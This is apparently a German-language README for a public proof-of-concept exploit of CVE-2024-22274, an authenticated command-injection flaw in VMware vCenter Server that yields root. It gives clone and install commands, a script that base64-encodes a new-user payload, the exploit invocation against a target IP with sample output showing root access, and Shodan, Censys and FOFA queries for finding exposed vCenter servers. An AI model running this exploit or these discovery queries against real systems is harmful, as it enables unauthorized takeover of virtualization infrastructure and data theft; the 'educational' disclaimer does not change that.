Privilegieneskalation: VMware vCenter Server Authenticated RCE

📜 Beschreibung

Die „com.vmware.appliance.recovery.backup.job.create“ und die „com.vmware.appliance.recovery.backup.validate“ API-Komponenten sind anfällig für einen Flag-Injection-Angriff, der ausgenutzt werden kann, um beliebige Befehle als Root-Benutzer auf dem Zielsystem auszuführen.

📚 Inhaltsverzeichnis

📜 Beschreibung
🛠️ Installation
⚙️ Verwendung
🔎 Entdeckung
📝 Hinweise
💁 Referenzen
📢 Haftungsausschluss

🛠️ Installation und Konfiguration

[!NOTE] Um mit diesem PoC-Exploit zu arbeiten, müssen Sie gültige Anmeldedaten haben und sich über SSH in die VMware vCenter Server Shell einloggen. Der Benutzer muss die Rolle „admin“ haben, wie in der Datei vcenter_creds.txt angegeben.

$ git clone https://github.com/l0n3m4n/CVE-2024-22274-RCE.git
$ cd CVE-2024-22274-RCE 
$ python3 -m venv venv && source venv/bin/activate
$ pip install -r requirements.txt

Führen Sie user2base64.sh aus oder ändern Sie es, um den neuen Benutzer in Base64 zu kodieren; es erstellt automatisch payload.txt.


$ bash user2base64.sh
Payload has been encoded to base64, saved payload.txt

⚙️ Verwendung

VMware-vCenter

Verwundbare Version

vulnerable-version

Erfolgreiche Ausführung und Ausnutzung

$ python3 CVE-2024-22274-RCE.py -t 192.168.56.103 -P 22 -p payload.txt -c vCenter_creds.txt
 ___ ___ _______                                          ______               __              
|   |   |   |   |.--.--.--.---.-.----.-----.______.--.--.|      |.-----.-----.|  |_.-----.----.
|   |   |       ||  |  |  |  _  |   _|  -__|______|  |  ||   ---||  -__|     ||   _|  -__|   _|
 \_____/|__|_|__||________|___._|__| |_____|       \___/ |______||_____|__|__||____|_____|__|  
    
                Author: l0n3m4n | vCenter RCE: CVE-2024-22274 | PoC: @mbadanoiu
                                                                              
[+] Connected to 192.168.56.103 via SSH
[+] Payload executed successfully. Output: 
   uid=0(root) gid=0(root) groups=0(root)

[+] Exploitation successful: You have root access.
[+] Finished executing commands on 192.168.56.103

Erfolgreiche Ausführung, aber kein Root-Zugriff

Dieses Beispiel bedeutet, dass Sie verbunden sind, aber das Payload nicht korrekt konfiguriert oder geladen wurde. Siehe PDF PoC für detailliertere Informationen.

 ___ ___ _______                                          ______               __              
|   |   |   |   |.--.--.--.---.-.----.-----.______.--.--.|      |.-----.-----.|  |_.-----.----.
|   |   |       ||  |  |  |  _  |   _|  -__|______|  |  ||   ---||  -__|     ||   _|  -__|   _|
 \_____/|__|_|__||________|___._|__| |_____|       \___/ |______||_____|__|__||____|_____|__|  
    
                Author: l0n3m4n | vCenter RCE: CVE-2024-22274 | PoC: @mbadanoiu
                                                                              
[+] Connected to 192.168.56.103 via SSH
[+] Payload executed successfully. Output: 
   No privileges escalation detected.

[+] Exploitation failed: Root access not obtained.
[+] Finished executing commands on 192.168.56.103

Fehlender Benutzername oder Passwort in der Konfigurationsdatei

 ___ ___ _______                                          ______               __              
|   |   |   |   |.--.--.--.---.-.----.-----.______.--.--.|      |.-----.-----.|  |_.-----.----.
|   |   |       ||  |  |  |  _  |   _|  -__|______|  |  ||   ---||  -__|     ||   _|  -__|   _|
 \_____/|__|_|__||________|___._|__| |_____|       \___/ |______||_____|__|__||____|_____|__|  
    
                Author: l0n3m4n | vCenter RCE: CVE-2024-22274 | PoC: @mbadanoiu
                                                                              
[-] Error: Username or password not found in configuration file.

Verbindungsfehler oder SSH-Fehler

Bitte überprüfen Sie die Host-Adresse und die Anmeldedaten.

 ___ ___ _______                                          ______               __              
|   |   |   |   |.--.--.--.---.-.----.-----.______.--.--.|      |.-----.-----.|  |_.-----.----.
|   |   |       ||  |  |  |  _  |   _|  -__|______|  |  ||   ---||  -__|     ||   _|  -__|   _|
 \_____/|__|_|__||________|___._|__| |_____|       \___/ |______||_____|__|__||____|_____|__|  
    
                Author: l0n3m4n | vCenter RCE: CVE-2024-22274 | PoC: @mbadanoiu
                                                                              
[-] Error: [SSH Error] Connection to 192.168.56.103 failed.

🔎 Entdeckung

CENSYS: "VMware vCenter", Filter: services.port: 443 AND tags: "VMware"
FOFA: title="VMware vCenter", Filter: port="443" && title="VMware vCenter"
SHODAN: "VMware vCenter", Filter: port:443 "VMware vCenter"

📝 Hinweise

Dieser Exploit-PoC wird nicht effektiv sein, wenn Sie nicht verstehen, wie man das Skript interpretiert, da es absichtlich verändert wurde, um zu verhindern, dass „Script Kiddies“ es einfach kopieren und ohne Verständnis ausführen. VMware vCenter Server ist eine kritische Komponente bei der Verwaltung virtualisierter Umgebungen; wenn jemand darauf zugreift, kann er die volle Kontrolle über die virtuelle Infrastruktur erlangen und sensible Daten exfiltrieren. Dieser PoC ist für diejenigen gedacht, die bereits über geringe technische Fachkenntnisse verfügen, um ihn korrekt zu nutzen. Wenn Sie also ein Script Kiddie sind, das darauf abzielt, Störungen zu verursachen, ohne die Auswirkungen zu verstehen, wird dieser Exploit für Sie nicht nützlich sein.

💁 Referenzen

📢 Haftungsausschluss

Dieses Tool wird nur zu Bildungs- und Forschungszwecken bereitgestellt. Der Ersteller übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch das Tool verursacht werden. Problem melden

CVE-2024-22274-RCE

Beliebteste